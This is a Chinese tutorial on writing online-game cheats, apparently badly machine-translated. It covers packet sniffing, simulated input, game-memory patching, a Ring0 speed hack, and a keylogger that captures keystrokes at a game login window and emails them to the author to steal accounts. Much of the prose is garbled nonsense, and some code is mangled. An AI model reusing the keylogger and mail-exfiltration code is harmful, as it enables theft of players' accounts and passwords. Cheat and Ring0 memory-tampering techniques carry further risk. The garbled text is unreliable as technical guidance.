网络游戏外挂核心封包揭密

网络游戏外挂核心封包揭密

网络游戏的使成群技术是堆积起来顺序关怀的成绩检查。,让本人到来得出所预测的归结为即将到来的成绩。。

  看不到这是人家抢占。,但所触及的技术尺寸非常奇特的范围广泛的。,有很多方法来使掉转船头它,比方,VXD,可以使掉转船头WiSoCK2,本人难以忍受的处置在这里的每一种技术和方法。,因而我在在这里用WiSoCK2技术极小的解说,即若是扔砖。

  因堆积起来读本对使成群程序知情不多。,在这里复杂绍介一下互插知。:

  APIHooK:

  鉴于Windows的把内核供给物的功用都封装到API外面,因而本人必要的检查API来使掉转船头即将到来的功用。,更确切地说,本人要诱骗录音包。,你必要的先看法并诱骗即将到来的API。,从API获取包新闻。

  VXD:

  可以检查把持VxD迫使来直线比诱骗使成群新闻。,不管VXD唯一的用于Wi9X。

  winsock2:

  Winsock是Windows网络程序喷嘴,装置层达到目的Winsock任务,它供给物独立于O的资历较深的信息传输程序喷嘴。,Win SoCK2是供给物的上菜用具供给物者喷嘴,但唯一的在Win 2000下应用。

  好了,让本人进入Win SoCK2包程序。

  在包程序中,我将向您解说两个手续。:1、录音包诱骗,2、使成群发送。

  率先本人要使掉转船头的是录音包诱骗:

  Delphi包的Winsock是版本,WoSoCK2不克不及被应用是很表现自然地的。。假使要应用winsock2本人要对winsock2在Delphi外面做人家喷嘴,可以应用WiSoCK2。

  1、健康状况如何做WiSoCK2喷嘴?

  1)本人必要的准确的地解释本人率先应用的类型,在这里本人用WSAX录音类型来演示,你可以供给物三个副原来使掉转船头停止类型的WiSoCK2封装。

  本人要看法WSA_DATA类型会被用于WSAP启动顺序wVersionRequired: word; var WSData: TWSAData): Integer;,你会查明WSDATA是人家商议参量。,在传入参量时传的是变量的地址,因而本人对WSAXX录音做了以下一组提议:

const
WSADESCRIPTION_LEN = 256;
WSASYS_STATUS_LEN = 128;
type
PWSA_DATA = ^TWSA_DATA;
WSA_DATA = record
wVersion: Word;
wHighVersion: Word;
szDescription: array[0..WSADESCRIPTION_LEN] of Char;
szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;
iMaxSockets: Word;
iMaxUdpDg: Word;
lpVendorInfo: PChar;
end;
TWSA_DATA = WSA_DATA;

  2)本人从引入WiSoCK2的功用动身,在这里本人还以WSASTRAPH为例绍介功用。:

function WSAP启动顺序wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;
implementation

const WinSocket2 = ””;
function WSAP启动顺序 external winsocket name WS创业

  检查超过方法,本人可以衔接到WiSoCK2,如今本人可以应用WiSoCK2作为录音包诱骗,但率先提出要求一张网卡。因它触及到网络游戏的使获得。,如次,本人以IP包为例举行录音包诱骗。,假使下面某些人录音类型,你就不太整整了。,请关系到MSDN:

  1)本人将开端WSA,此刻将应用的WSA启动功用,用法如次:

INTEGER WSAP启动顺序
wVersionRequired: word,
WSData: TWSA_DATA
);

   2)应用Socket作用获取套接词语解释柄,m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP); 用法如次:

INTEGER 插座(AF) Integer,
Struct: Integer,
protocol: Integer
);

m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP);

  在顺序中,MyHSocket是套接词语解释柄。,AF_INET,SOCK_RAW,IPtoPrimeIP是常数。

  3)准确的地解释Sokkad ADDR类型,争辩本人的网卡IP,附加了SokKyAdDR类型。,尔后应用绑定作用绑定本人的NIC。,绑定作用的应用如次:

Type
IN_ADDR = record
S_addr : PChar;
End;

Type
TSOCK_ADDR = record
sin_family: Word;
sin_port: Word;
sin_addr : IN_ADDR
sin_zero: array[0..7] of Char;
End;

var
LocalAddr:TSOCK_ADDR;

LocalAddr.sin_family: = AF_INET;
LocalAddr.sin_port: = 0;
LocalAddr.sin_addr.S_addr: = inet_addr(””); 这是你自己的网卡的IP地址,InEnAdDR的功用是Win SoCK2的作用。

bind(m_hSocket, LocalAddr, sizeof(LocalAddr));

  4)用WSAIoctl报户口WSA的输入和输入隶属的小组织,其意志如次:

INTEGER WSAIoctl(S:必须的),
dwIoControlCode : INTEGER,
lpvInBuffer :INTEGER,
cbInBuffer : INTEGER,
lpvOutBuffer : INTEGER,
cbOutBuffer: INTEGER,
lpcbBytesReturned : INTEGER,
lpOverlapped : INTEGER,
lpCompletionRoutine : INTEGER
);

  5)走快下面的死朝反方向,在死朝反方向块中,使掉转船头录音接纳。但在环的中心截面,睡眠:同sleep()装置于推延。,别的顺序会出错。。

  6)朝反方向块,用ReV作用接纳录音,应用ReV作用如次:

INTEGER recv (s : INTEGER,
减震器:阻止〔0…4095〕 of byte,
length : INTEGER,
flags : INTEGER,
);

  7)在把缓冲液加入中,它是本人接纳到的录音。,假使本人想看法录音是人哪里,,大约,本人想准确的地解释人家特任的IP包框架。,您可以检查一份储藏处器从把缓冲液加入读取IP新闻。,除了,必要换衣服十六二元系录音的读取。。

  反省包诱骗的直接地顺序,这对你来说宁愿,除了在在这里要告知每个的是封包的走快是轻易的的,不管很多游戏的录音包都是编密电码的。,假使你想看法你到达的是什么,你依然必要对它举行解密。。

四种网络游戏外挂的设计方法

几年前,我看见居住于玩网络游戏和应用可插件。,译成人家顺序员对我来不开玩笑很蹩脚,我以为看法究竟是怎么回事。采取某个得出所预测的归结为,小有心得,把它拿浮现和你分享,有几种方法可以争辩必要生产量:

  1、举措式,同一的举措式,它吝啬的应用API向Windows或API发送命令来把持鼠标。、用键盘输入等。,使游戏达到目的性格行程或袭击,最早的石头器可插件执意同样的。。都是渣滓,TMD,由于求少数API就看法该怎么办,但这也人家健康的的字母表级。,不管你不克不及预付款刀,但它可以预付款你的精神面貌。

  2、本国的改变式,即将到来的可插件无究竟哪一个两个全体与会者的游戏改变器。,在程序中使掉转船头这种可插件只必要少数知情。,精灵的外挂执意同样写的。,它的困难躺在找到那些的地址码。,寻觅地址通常被人民的器所应用。,有些游戏有双重委派遗传密电码反省,如今很难找到它。。(这种外挂),比上人家更难,但这是可以做到的。,它也有必然的异议。,该可插件可以快的预付款您对MeMor的了解和装置。,这是你的好的程序技术。

  3、骑着式,即将到来的可插件的含义是窃取可插件的用户密电码。,烂是个词,但本人必要的谈谈这少数。,很难做到这少数。,必要钩子或用键盘输入监控技术打根底,才可以走快,其规律是先剪下用户的账号或密电码。,尔后将其发送到委派邮筒。。(我先前写过同样的书。),但它从来无被应用过。,我看法这很不对立者,因而水流不要应用它!)

  4、变快式,这可以变快游戏的急行。……(感到伤心的人人),我在东部无同样做,因而你不克不及过失。,感到羞愧的)

  这些混日子,前三个可以在VB中应用,Delphi和停止说好转的地使掉转船头,后两种方法麝香检查VC和停止程序器来使掉转船头。。

  举措式悬挂

  率先,先谈行为类型,这是我概要的流的构图可插件时写的最复杂的模型。。

  铭刻石器时期,我看见人民挂着一种软件(外挂)性格就可以四外游走(压根儿我还不看法外挂怎么回事),因而我寻觅即将到来的软件来得出所预测的归结为它。,现实上,要找到即将到来的西方并不难。,现实上,角色的逃跑只不过鼠标的点击罢了。,有一种兴奋来使掉转船头即将到来的功用。,尔后我去MSDN看了某个新闻。,找到这些功用的使掉转船头,只要数个复杂的API作用可以做:

  1、率先本人要看法如今鼠标的所在地(为了好复原如今鼠标的所在地)因而本人即将用到API作用GetCursorPos,应用如次:

BOOL GetCursorPos(
LPPOINT lpPoint // address of structure for cursor position
);

   2、本人把鼠标所在地移到了性格的所在地。,本人将应用SETCURSORPOS作用来推动鼠标所在地。,应用如次:

BOOL SetCursorPos(

int X, // horizontal position
int Y // vertical position
);

  3、拟态鼠标按下和发行的举措,本人将应用MousSeEvin作用来使掉转船头。,应用休憩法:

VOID mouse_event(

DWORD dwFlags, // flags specifying various motion/click variants
DWORD dx, // horizontal mouse position or position change
DWORD dy, // vertical mouse position or position change
DWORD dwData, // amount of wheel movement
DWORD dwExtraInfo // 32 bits of 装置顺序准确的地解释 information
);

  在它的承担责任下,诸多用于加强语气的事变,比方推动鼠标事变,左键按下鼠标左键,左键发行鼠标事变,特任东或东反省MSDN

   好了,用先前的知,本人可以看见角色是健康状况如何推动的。:

GETCurrOPOS(点)
setcursorpos(ranpoint(80,视窗),ranpoint(80,Walny);//RANNOPoT是人家便宜的随机被归入同一类别作用。
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
setcursorpos();

  看一眼下面的委派遗传密电码,你以为角色的玩很复杂吗?,被举起或抬高三的正本,有很多好的事实可以用这种方法来走快。,TMD,这执意渣滓挂的抬出去。,置信了吧~~~),接下来,让本人视域一眼游戏达到目的无意识或下意识行为袭击。,准是相等地的,这合法的人家形形色色的的API。,这次本人要应用的是KiBddEngin作用。,其意志如次:

VOID keybd_event(

BYTE bVk, // 装聋作哑主要的 code
BYTE BSCAN, // hardware scan code
DWORD dwFlags, // flags specifying various function options
DWORD dwExtraInfo // additional data associated with keystroke
);

  本人也看法扫描委派遗传密电码不克不及直线比应用。,应用作用MavaValukey将键指定替换成扫描委派遗传密电码,MapVirtualKey的详细意志如次:

UINT MapVirtualKey(

UINT uCode, // 装聋作哑主要的 code or scan code
UINT uMapType // translation to perform
);

  好了,即将到来的快的衔接是CTRL A,接下来,让本人看一眼现实委派遗传密电码是健康状况如何构图的。:

keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);
keybd_event(65,mapvirtualkey(65,0),0,0);
keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);
keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);

  率先,按下CTRL键。,再拟态按下A键,重行拟态A键的发行,终松开了CTRL键,这是人家拟态快的键的朝反方向。。

  (见此处),相似的的对简易外挂受胎必然的知情了吧~~~~做人家试试?假使你被举起或抬高三的正本还能有好转的的东东浮现,这兴奋你的直觉。,但不要不合时宜的的喜悦,它才刚刚开端,常人家更复杂的东西在等着你
使分开改性外突出船首

  如今让本人视域一下,比举措式悬挂附加的的外挂–使分开改性外突出船首的绝对的生产量工艺流程举行人家极小的的使解体。

  我看法。,使分开改性外突出船首最类型的装置执意在“精灵”游戏下面,因我相似的的在一年前就进入了化验阶段。,我公司的诸多同事都充当精灵。,因而我看了游戏的处置方法。,查明它发送到上菜用具器的新闻储藏处在内存中。:改变游戏和改变SI无太大的分别。,更确切地说,在请教新闻在前,他换衣服了调回工厂地址。,我在然后找到了地址,因而我换衣服了内存地址。,的的确确,我以为改变地址,零碎无意识或下意识行为请教后,这是成的。,后头,精灵代替双地址校正。,内存反省等,我将不会在在这里使散开。,OK,让本人视域一眼这种表面悬挂是健康状况如何状态的。:

  在生产量可插件在前,本人必要对Windows有人家特任的了解。,在这里,本人将内存称为零碎的内存偏移。,这执意对立调回工厂。,本人要换衣服它。,因而本人提出要求数个窗口 API了解,OK,跟着判例让本人看整整这种外挂的生产量和API的装置(为了使获得网络游戏的规则运转,我将不会极小的解说找到内存地址的方法。:

  1、率先,本人必要应用FAND窗口,处置游戏窗口的句柄,因本人必要看法游戏运转后的ID。,下面是应用FANK窗口:

HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);

  2、本人GetWindowThreadProcessId来到达游戏窗口对立应诉讼的诉讼ID,作用应用如次:

DWORD GetWindowThreadProcessId(

HWND hWnd, // handle of window
LPDWORD lpdwProcessId // address of variable for process identifier
);

  3、走快游戏ID后,下一步是翻开无上的动力的诉讼。,所应用的作用OpenGuess的详细功用如次。:

HANDLE OpenProcess(

DWORD dwDesiredAccess, // access flag
BOOL bInheritHandle, // handle inheritance flag
DWORD dwProcessId // process identifier
);

  在DeDeDeIccess达到目的所在地是接见的本地的。,它有很多动力。,本人在在这里应用它,由于本人应用PrimeAtLyAccess。 要翻开即将到来的工艺流程,你可以,停止的方法本人可以查一下MSDN。

  4、翻开工艺流程后,本人可以应用人家作用来买卖内存。,在在这里本人由于用到WriteProcessMemory来对内存地址研究录音那就够了(停止的买卖方法比方说:ReadProcessMemory等,我公开在这里绍介。,让本人看一下写诉讼内存的应用。:

BOOL WriteProcessMemory(

HANDLE hProcess, // handle to process whose memory is written to
拉普拉斯 lpBaseAddress, // address to start writing to
拉普拉斯 lpBuffer, // pointer to buffer to write data to
DWORD nSize, // number of bytes to write
LPDWORD lpNumberOfBytesWritten // actual number of bytes written
);

  5、诉讼句柄用下面的关句柄关。。

  这是使掉转船头即将到来的游戏可插件顺序的偏爱地。,好了,受胎此方法,本人有人家感到的看法,让本人视域一眼现实的判例。,预付款本人的感性看法,以下是XX游戏的表面委派遗传密电码,让本人看一眼下面的方法。:

const
ResourceOffset: dword = $004219F4;
resource: dword = 3113226621;
ResourceOffset1: dword = $004219F8;
resource1: dword = 1940000000;
ResourceOffset2: dword = $0043FA50;
resource2: dword = 1280185;
ResourceOffset3: dword = $0043FA54;
resource3: dword = 3163064576;
ResourceOffset4: dword = $0043FA58;
resource4: dword = 2298478592;
var
hw: HWND;
pid: dword;
h: THandle;
tt: Cardinal;
begin
hw := FindWindow(”XX”, 零)
if hw = 0 then
Exit;
GetWindowThreadProcessId(hw, PID)
h := OpenProcess(PROCESS_ALL_ACCESS, false, PID)
if h = 0 then
Exit;
if flatcheckbox1.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), TT)
WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), TT)
end;
if flatcheckbox2.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), TT)
WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), TT)
WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), TT)
end;
MessageBeep(0);
CloseHandle(h);
close;

  即将到来的游戏是用了多地址对所要请教的录音举行了复核试验,因而这种游戏并不难做到。,最难做的执意找到这些地址。。
骑着式外挂

  骑着式外挂,最有可能性像特洛伊骑着,这是人家帮忙可插件人窃取别人游戏账号的帮忙。。因网络上有同样的额定新闻,因而目前我不得无可奉告(我人称代名词令人不快的这种可插件),请看得懂本文达到目的伴星,不要应用这种技术,谢谢合作。。使掉转船头可插件顺序的方法有很多种(比方,钩子),用键盘输入监控等技术,因HOOK技术对顺序员的技术提出要求相比高而且在现实装置上必要多带人家静态使延续库,如次,在本提供纸张,我将应用用键盘输入监控技术来使掉转船头THI。。用键盘输入监控技术只必要人家.exe提供免费入场券使掉转船头背地里,即将到来的顺序更正确这种技术。。

  在做顺序在前本人必必要知情一下顺序的思绪:

  1、本人率先看法要记载GA的登录窗口的专门名称。。

  2、决定登录窗口条件呈现。

  3、假使呈现登录窗口,录制用键盘输入。

  4、当窗户关时,把记载新闻,检查旅行包向顺序员邮筒发送旅行包。

  我无详细辨析第少数。,因你比我更知情游戏。,登录窗口的专门名称是什么。从瞬间动身,本人开端了这种额定的旅程:

  大约,本人健康状况如何确保登录窗口不呈现呢?现实上,即将到来的,本人可以轻易的地应用FindWindow作用。:

HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);

  现实顺序使掉转船头,本人要找到XX窗口,就用FindWindow(nil,XX)假使赢利值大于0,则呈现窗口。,尔后本人可以记载用键盘输入新闻。。

  率先,用StWistWOSKOOKEX设置监视日记,即将到来的作用的应用如次:

HHOOK SetWindowsHookEx(

int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);

  在在这里至于明的是在本人顺序傍边本人要对HOOKPROC在这里本人要检查写人家作用,来使掉转船头而HINSTANCE在这里本人直线比用本顺序的HINSTANCE就可以了,详细使掉转船头方法是:

hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);

  HOOKPROC的功用宁愿复杂:

function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if findedtitle then 提供免费入场券:/ /假使找到窗口
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then 提供免费入场券://音讯势均力敌的用键盘输入支配权
hookkey := hookkey + (peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); 提供免费入场券:/ /检查KEKHOOKREST(自准确的地解释作用),主要功用是将截获的音讯参量更代替主要的。。我将在文字末了附加替换作用。。
if length(hookkey) > 0 then 提供免费入场券:/ /假使您走快主要的的专门名称
begin
Write(hookkeyFile,hookkey); 提供免费入场券://将主要的专门名称研究文本提供免费入场券
hookkey := ””;
end;
end;
end;

  这是记载用键盘输入的绝对的工艺流程。,复杂吧,假使记载走快,别忘了发行它。,UnHookWindowsHookEx(hHook),而hHOOK,这是在找到StWistWOSKOOKEX然后赢利的句柄。。

  本人有用键盘输入的记载。,如今,最不可能性的,把这些新闻发回去。,本人做了很大的任务。。送即将到来的给人民并不难。,只需从文本提供免费入场券中读取记载,应用Delphi的电子旅行包隶属的小组织将其发送到OK。。委派遗传密电码如次:

assignfile(ReadFile,””); 提供免费入场券://翻开文本提供免费入场券
reset(ReadFile); 提供免费入场券://设置为读取
try
While not Eof(ReadFile) do 提供免费入场券://不被读取到提供免费入场券的末了
begin
Readln(ReadFile,s,j); 提供免费入场券:/ /读取提供免费入场券行
body:=body+s;
end;
finally
closefile(ReadFile); 提供免费入场券://关提供免费入场券
end;
nmsmtp1.EncodeType:=uuMime; 提供免费入场券:/ /设置编码
””; 提供免费入场券:/ /上升附件
XXX@”; 提供免费入场券:/ /设置源旅行包地址
XXX@”; 设置目的旅行包地址
密电码 。 体 提供免费入场券:/ /设置旅行包实质
密电码 提供免费入场券:/ /设置旅行包前进
nmsmtp1.SendMail; 提供免费入场券:/ /发送旅行包

  即将到来的顺序的极度的功用都已使掉转船头。,尝试编辑程序。
变快突出船首术

  我一向以为变快可插件是为游戏构图的。,后头查明即将到来的概念是逆的。,同一的的变快可插件现实上是在换衣服记下时期频率T。。

  早已在DOS世有程序的人即刻忆起了它。,这是非常奇特的复杂的,责备直线比改变8253暂存存储器。,这可能性在先前的DOS世是可能性的。,但Windows责备。。Windows是人家32位买卖零碎。,这责备你需要的东西换衣服的。这是微软的首位的位置。,假使你不换衣服它,你就将不会换衣服它。,不管换衣服是难以忍受的的,本人可以用两种方法来做:率先是构图武器装备迫使顺序来走快。,瞬间个是用RIG0使掉转船头的(即将到来的方法是陈颖哈最先应用的),它的规律是改变一下IDE表->找到人家阻止门->进入Ring0->调动阻止改变用无线电引导,不管ASM编辑不克不及做究竟哪一个事实。,作为资历较深的说应用者悲剧的地!),用概要的种方法解决成绩,因而本人有瞬间种方法。

  在本人认识到即将到来的请求在前,让本人视域一眼。:

  1、本人率先必要构图人家工艺流程来在顺序中嵌入汇编说。、找到阻止门,改变用无线电引导的任务等

  2、调动此工艺流程以使掉转船头变快

  好了,如今有一种思惟的方法,让本人来讨论一下委派遗传密电码并解说它。:

  率先本人找到了人家工艺流程,即将到来的工艺流程是即将到来的顺序的中心。:

procedure SETRIN(值:Word) stdcall;
const ZDH = $03; // 设置阻止号
var
IDT : array [0..5] of byte; // 保存IDT表
OG : dword; 保存旧用无线电引导
begin
asm
push ebx
sidt IDT 读取阻止描绘符表
mov ebx, dword ptr [IDT+2] IDT表贱的址
add ebx, 8*ZDH //计算阻止在阻止描绘符表达到目的所在地
cli //关阻止
mov dx, word ptr [ebx+6]
shl edx, 16d
mov dx, word ptr [EBX]
mov [和], edx
mov eax, offset @@Ring0 加标点于RIG0级委派遗传密电码段
mov word ptr [EBX], ax Low 16位,保存在1,2位
shr eax, 16d
mov word ptr [ebx+6], ax 高16位,保存在6,7位
int ZDH //阻止
mov ebx, dword ptr [IDT+2] //重行赴
add ebx, 8*ZDH
mov edx, [和]
mov word ptr [EBX], dx
shr edx, 16d
mov word ptr [ebx+6], dx 回复改变用无线电引导
pop ebx
jmp @@exitasm 引起恼怒
@@Ring0: //Ring0,这也西方最中心的东西。
mov al,$34 研究8253把持暂存存储器
out $43,al
mov ax,值/研究定面值
out $40,al 低研究时期值
mov al,ah
out $40,al 研究时期值高
iretd //赢利
@@exitasm:
end;
end;

  最要紧的事实早已写浮现了。,堆积起来读本都看法它不看法它是什么。,呵呵,但我不看法是同样的。。如今让本人尝试应用即将到来的工艺流程来创造相似的地齿轮的东东齿轮。!

  率先添加窗口,在窗口上设置人家随后条支配权,并将其最大的量、体积、强度等设置为20。,min设置为1,设置所在地为10,研究此支配权的更改事变:
+inttostr(1742+()*160)));

  因Windows的Windows 默认值是1742抵制。,因而本人做1742作为基数。,因值更小更快,反之亦然的基本原理较慢。,写出同样的态度,好了,这执意“换档齿轮”的人家Delphi+ASM版了(只依从的win9X),呵呵,试一下吧,这对你很有帮忙。,呵呵。

  在win2000里,本人难以忍受的直线比在海湾买卖。,Run0也病号的。,某些人忆起它,本人可以写为别人当汽车司机去做。,但我告知你,Windows2000的迫使顺序责备VXD,像我同样的低手不克不及构图Windows应用的迫使顺序WDM。,没方向,我合法的在外力的帮忙下才认识到这少数的。,PrTalk是人家健康的的能力迫使顺序,他在人家下层海湾买卖非常奇特的便宜。,如次,表面突出船首的变快度。

  1、本人率先需要的东西下人家PortTalk高速公路,他的官方网站是

  2、本人要冲洗一份。

  3、找到喷嘴(我以为省略),人人都可超过去亲自看一眼文档。

  4、变快外挂。

  让本人来谈谈即将到来的项含义完成。,假使应用PrTalk买卖接口,则轻易得多。,Win 98下应用环动力买卖便宜。

  1、新建人家工程,一份喷嘴提供免费入场券并将其一份到定约雇用FI下保存的提供免费入场券夹中。

  2、本人把本人的喷嘴提供免费入场券添加到本人新建的定约雇用中。

uses
windows,ProtTalk……

  3、本人找到了人家工艺流程

procedure SETRIN(值:Word)
begin
if not OpenPortTalk then exit;
outportb($43,$34);
outportb($40,洛(值)
outprotb($40,嗨(值)
ClosePortTalk;
end;

  4、率先添加窗口,在窗口上设置人家随后条支配权,并将其最大的量、体积、强度等设置为20。,min设置为1,设置所在地为10,研究此支配权的更改事变:
+inttostr(1742+()*160)));
就大约轻易。

在内存中改变录音的网络游水

诸多游戏如今将某个新闻储藏处在内存单元中。,尔后本人只必要改变特任的内存值来改变ATTRAION,很多侠盗风云都不相等地。。

  不久之后,某个在线游戏也可以用内存可插件举行改变。,后头查明,这些游戏将单个的内存地址更代替多个内存地址VRI。,增殖改革异议,不管它依然可以检查内存辨析器破解。。软件FPE供给物了某个内存辨析功用。。

  FPE是人家以调回工厂为根底的群众的首领,广为人知的游戏改变软件。诸多相似的的软件是由FPE拟态的。。FPE技术迄今还没有颁布。,很多人唯一的猜度健康状况如何完成FPE。,使掉转船头相似的的表面悬挂。作者还拟态了FPE的功用。,比方内存改变、内存查询及停止技术。这项技术将在水流举行辨析。。

  既然你想做调回工厂挂,大约就必要的对Windows的内存机制有所知情。计算图表内存(RAM)不断地不敷的。,在买卖零碎中,内存具有身体的内存和装聋作哑内存。,因身体的内存达到目的顺序找到所找到的地址是,因而当你到达GA时,你不克不及直线比接见身体的内存地址。。在V86打字下,段暂存存储器的应用与实打字恒等的。,尔后,可以检查移位段RG的值来走快线形的地址。,当人家顺序被找到时,它在线形的A中保存4MB 2GB的人家比。,游戏的属性放在在这里。。在Windows中,装聋作哑内存块高压地带喊出名字以寻找。,每个喊出名字以寻找是4KB,读取内存时读取游戏属性,在不遇难船的残骸录音直接地性的条款下快的阅读内存地址值,最好每回接见对折的。。

  调回工厂买卖工艺流程,不再应用汇编说,Windows供给物了某个接见诉讼存储空间的API。,诉讼储藏处器可以直线比买卖。。不管初院士不克不及征服这种技术。,让初院士在内存上买卖,生产量人家由于内存的可插件,作者封装了某个内存买卖和某个内存买卖日记。,以初院士的模型供给物的支配权。支配权名为:MpMemCtl。

  压根儿院士应用即将到来的支配权时,要先上升外挂引擎支配权包(在尔后的每篇文字中外挂引擎支配权包仅供给物与该文字确切的的把持支配权),特别把持上升方法,请商议Delphi人名地址录,鉴于尺寸的限度局限,不得极小的供给物。

  运动神经上升走快后,它可以在Delphi达到目的隶属的小组织列中,查找[ MP ] 对照组,可以找到[MPMECTL]支配权。初院士可以用即将到来的支配权来把持内存。。

  一、 到达诉讼句柄

  必要买卖游戏内存,尔后你必要的率先不经宣誓而庄严宣布游戏买卖。,运转时游戏顺序产生的每个诉讼都有一只特约稿的手。。

  有三种方法可以检查把持走快句柄。:

  1、 句柄由支配权翻开以走快句柄。。

  在把持中,供给物了StaseCudio方法,检查这种方法,您可以翻开顺序以走快诉讼句柄。,并可以赢利诉讼新闻。

PProcInfo: PROCESS_INFORMATION;
(
提供免费入场券航线:字母串 //顺序航线
var aProc_Info:PROCESS_INFORMATION //诉讼新闻
):BOOLEAN

  此方法供给物两个参量,第人家参量是要翻开的顺序航线。,瞬间个参量是找到后的工艺流程的工艺流程新闻。。应用此方法获取工艺流程的新闻,并将值附加到支配权的PROCHANDLE(诉讼句柄)属性。,此刻,可以应用支配权直线比读取和研究内存PRO。。装置实比方次:

Var
PProcInfo: PROCESS_INFORMATION;
begin
MpMemCtl1.startProgram(edit1.Text, PProcInfo)

  2、按顺序的专门名称处置句柄。

  在把持中,对零碎运转工艺流程也有确切的的描绘。,支配权供给物两种方法,用于争辩顺序专门名称获取确切的的诉讼句柄。。GetProcIDs()可以走快零碎运转的极度的顺序的专门名称列表。。GetProcID()可以去世运转顺序的专门名称,处置确切的工艺流程的句柄。

getProcIDs():TStrings 赢利多行字母串类型

getProcID(
aProcName:String //装置顺序专门名称
):Thandle; 装置诉讼句柄

  装置实比方次:

  率先,可以去世GETPROID()并赢利参量列表。:

:=s();

  捕获量可以检查getProcID获取确切的的诉讼句柄,并将值附加到支配权的PROCHANDLE(诉讼句柄)属性。,此刻,可以应用支配权直线比读取和研究内存PRO。。

()

  3、由支配权以窗口的专门名称处置句柄。

  在把持中,支配权供给物两种方法,用于争辩WI的专门名称获取确切的的诉讼句柄。检查GETALLINK窗口可以在诉讼中运转极度的窗口。getWinProcHandle()可以检查确切的的窗口专门名称,处置确切的工艺流程的句柄。

getALLWindow(
aHandle:THandle 水流窗口的句柄
):TStrings; 赢利水流运转的极度的窗口的专门名称

getWinProcHandle(
aWindowName:String 去世水流窗口专门名称
):Thandle; 窗口的句柄

  装置实比方次:

  率先,你可以检查GATALVIEW 并赢利参量列表:

:=MpMemCtl1. getALLWindow(Handle);

  尔后你可以检查GETWIN PRODCHANDLE 获取确切的的诉讼句柄,并将值附加到支配权的PROCHANDLE(诉讼句柄)属性。,此刻,可以应用支配权直线比读取和研究内存PRO。。

MpMemCtl1. getWinProcHandle ();

  二、逗留游戏

  在顺序中,为了更轻易走快游戏的水流属性。在把持中供给物了游戏逗留方法。只必要调动此方法,游戏可以释放逗留或启动。这种方法是:pauseProc()

pauseProc(
Atype:必须的 //把持类型
)

  把持类型唯一的去世到参量0或1中。,0代表逗留游戏,1表现处于暂时搁置状态处于暂时搁置状态。装置实比方次:

(0); //逗留游戏
(1); 回复悬挂

  三、读写内存值

  游戏属性现实上储藏处在内存地址值中。,游戏属性麝香在游戏中被了解或改变。,它可以检查内存值读取或研究。。

  检查把持,读取和研究内存地址值轻易的。。可以检查调动支配权供给物的getAddressValue()及setAddressValue()两个方法那就够了,在应用该方法在前,麝香声明,前序属性附属于该值。,因内存的买卖必要的由于诉讼。将值附加到ProcHandle属性的方法,它在前面的文字中早已绍介过。。读取或研究内存值,极度的要运转的内存地址。

getAddressValue( 读调回工厂法
aAddress:pointer; 买卖的内存地址
var AVALUE:必须的 //理解的值
):Boolean;

setAddressValue( 写调回工厂法
aAddress:pointer; 买卖的内存地址
AVALUE:必须的 研究值
):Boolean;

  要紧的是要理睬,当内存地址检查时,内存地址必要的是导游类型。装置实比方次:

  读取地址值(假使“主要特征”依序排列所放置的地址为4549632):

var
AVALUE:必须的
begin
MpMemCtl1.getAddressValue(Pointer(‘4549632’),雪崩)

  这时aValue变量里的值为内存地址[4549632]的值。

  研究地址值:

(Pointer(Strtoint(‘4549632’)),strtoint(87));

  检查这种方法可以把要改变的内存地址值代替87,把主要特征的依序排列代替87。

  四、内存地址值辨析

  在游戏中,你要储藏处游戏属性的内存地址。,尔后辨析确切的储藏处器的储藏处器地址。,检查辨析,可以到达游戏属性的储藏处地址。。

  支配权供给物了两种由于内存地址的辨析方法。。一种是争辩准确的的地址值举行搜索和辨析。,二是检查增进调回工厂量来举行搜索和辨析。。

  1、 假使您整整地看法要改变的地址值,,尔后应用准确的地址值举行搜索和辨析

  在游戏中,必要改变人的体会的价,率先,从游戏掩藏获取体会值新闻。,比方,游戏玩家的水流体会是9800。,必要预付款体会的价,此刻,本人必要为Exp搜索确切的的内存地址。,自然,在储藏处器中地址值是9800是可能性的。,这是概要的流的,可以搜索出某个地址。。注意体会的换衣服,假使从9800变为20000,再次举行搜索,因而从立刻搜索的地址,您可以附加的走快较小的内存地址。,什么的,最不可能性的,您可以走快Valm Valm的特任值的地址。。

  假使需要的东西应用支配权来使掉转船头对内存值的准确的搜索,实际上,方法很复杂。,只需调动支配权的搜索()方法。不管在搜索在前决定搜索尺寸,如前一篇文字中提到的:“当人家顺序被找到时,它在线形的A中保存4MB 2GB的人家比。”,因而要搜索的地址麝香在4MB到2GB私下。,如次,将支配权的最大地址属性设置为2GB。,将支配权的MimNoad属性设置为4MB。要不经宣誓而庄严宣布的另人家值是必要搜索的值。,大约麝香把SearchValue属性设置为水流搜索的值。假使必要显示搜索目录大约可以把ShowGauge属性上升人家确切的的TGauge支配权(该支配权为目录条支配权)。

search(
isFirst:Boolean 这是概要的流的搜索吗?
):Boolean

  为了预付款搜索辨析达到目的搜索生产率、事情逻辑的使掉转船头,尔后你必要去世人家参量,不经宣誓而庄严宣布条件是概要的流的做调回工厂。装置实比方次:

maxV:=1024*1024*1024;
maxV:=2*MaxV;
